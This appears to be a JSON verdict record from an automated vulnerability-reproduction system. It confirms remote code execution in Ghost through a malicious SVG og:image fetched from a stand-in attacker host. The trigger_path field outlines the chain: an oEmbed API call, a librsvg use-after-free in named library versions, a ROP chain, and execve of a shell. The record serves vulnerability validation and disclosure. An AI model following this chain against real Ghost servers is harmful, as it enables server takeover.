{
  "_pruva_terminal_reconciliation": {
    "authored_artifact_closure_sha256": "47d34eedde3f8faf807e8ee9cd2ae067e72df0297c1a2e329afafd31c090d3c8",
    "authored_runtime_manifest_sha256": "27e8f0dcc1cdbdd61c429c16e559025e83d6e271b691ffe06dabb19818b919d3",
    "authored_verdict_sha256": "0653d2762878782fb5c3685d22b092a178355740fc1a84c74bc71e0f5cbd5700",
    "claim_matching": "evaluated",
    "schema_version": 2,
    "status": "completed"
  },
  "accepted_exploit_knowledge_record_ids": [
    "cbfb8977-bd36-46ee-aeea-b8de835e5e97",
    "639cc612-c512-44d5-b35b-637daa6ae42f"
  ],
  "attacker_controlled_input": "A genuine Contributor selects an attacker-controlled bookmark URL whose og:image is a 24,410-byte calibrated nested-XInclude VectorFreed SVG fetched and rasterized by Ghost",
  "claim_outcome": "confirmed",
  "claimed_impact_class": "code_execution",
  "claimed_surface": "api_remote",
  "crash_observed": false,
  "end_to_end_target_reached": true,
  "evidence_scope": "production_path",
  "exploit_chain_demonstrated": true,
  "exploitability_confidence": "high",
  "inferred": false,
  "observed_impact_class": "code_execution",
  "read_write_primitive_observed": true,
  "repro_result": "confirmed",
  "sanitizer_used": false,
  "trigger_path": "Contributor session -> GET /ghost/api/admin/oembed/?url=http://attacker-rce:8790/&type=bookmark -> Ghost fetches / and /evil.svg -> sharp 0.35.3/libvips 8.18.3/librsvg 2.62.90 UAF -> non-PIE Node 22 ROP -> execve(/bin/sh -c attacker command) -> unique target-local marker",
  "validated_surface": "api_remote"
}